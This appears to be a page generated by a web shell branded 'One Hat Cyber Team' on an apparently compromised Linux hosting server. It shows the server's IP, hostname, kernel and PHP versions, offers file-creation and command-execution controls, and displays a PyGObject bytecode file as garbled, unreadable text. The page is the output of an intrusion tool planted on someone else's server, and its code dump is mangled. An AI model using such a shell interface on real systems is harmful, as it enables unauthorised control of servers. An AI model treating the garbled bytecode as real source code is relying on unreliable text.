⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
gi
/
__pycache__
/
View File Name :
_ossighelper.cpython-310.pyc
o b^ @ s d dl mZ d dlZd dlZd dlZd dlZd dlmZmZ ddl m Z dd Zda ed d Z e jZeejeju rCeejZndZdd Zedd Zdd Zg adaedd ZdS ) )print_functionN)closingcontextmanager )_gic C sl t | dr| d dS zddl}W n ty tdw | }|||j}|||j||jB dS )zEnsures that the socket is not inherited by child processes Raises: EnvironmentError NotImplementedError: With Python <3.4 on Windows set_inheritableFr Nz+Not implemented for older Python on Windows) hasattrr fcntlImportErrorNotImplementedErrorfilenoF_GETFDF_SETFD FD_CLOEXEC)sockr fdflags r 1/usr/lib/python3/dist-packages/gi/_ossighelper.pyensure_socket_not_inheritable s r Fc # s t rdV dS ddlm t \} t t| | fD ]}|d t| q"z t | }W n tyP dV Y W d W d dS w da fdd}zRtj dkri j }n j } | j jj jjB jjB jjB |}z dV W | n | w W t |}|| krt | da nt |}|| krt | da w W d n1 sw Y W d dS W d dS 1 sw Y dS ) a A decorator for functions which create a glib event loop to keep Python signal handlers working while the event loop is idling. In case an OS signal is received will wake the default event loop up shortly so that any registered Python signal handlers registered through signal.signal() can run. In case the wrapped function is not called from the main thread it will be called as is and it will not wake up the default loop for signals. Nr )GLibFTc sN | j @ r%ztdW S ty$ } zt| W Y d }~dS d }~ww dS )Nr F)IO_INboolrecvEnvironmentErrorprint)source conditioner read_socketr r signal_notify\ s z'wakeup_on_signal.
.signal_notifynt)_wakeup_fd_is_active gi.repositoryr socket socketpairr setblockingr signal set_wakeup_fdr ValueErrorosname IOChannelwin32_new_socketunix_newio_add_watchPRIORITY_DEFAULTIOConditionINHUPNVALERR source_remove)write_socketr orig_fdr! channel source_idwrite_fdr r r wakeup_on_signal7 s^ Pr= c C s t t jt ju ott jtkS )z?Returns if on SIGINT the default Python handler would be called)r( getsignalSIGINTdefault_int_handlerPyOS_getsigstartup_sigint_ptrr r r r sigint_handler_is_default s rD c c s t sJ ttj| ttj}z!dV W ttj| u r0ttj|kr2ttjtj dS dS dS ttj| u rLttj|krMttjtj w w w )zContext manager for saving/restoring the SIGINT handler default state. Will only restore the default handler again if the handler is not changed while the context is active. N)rD r( r@ rB r? rA )handlersig_ptrr r r &sigint_handler_set_and_restore_default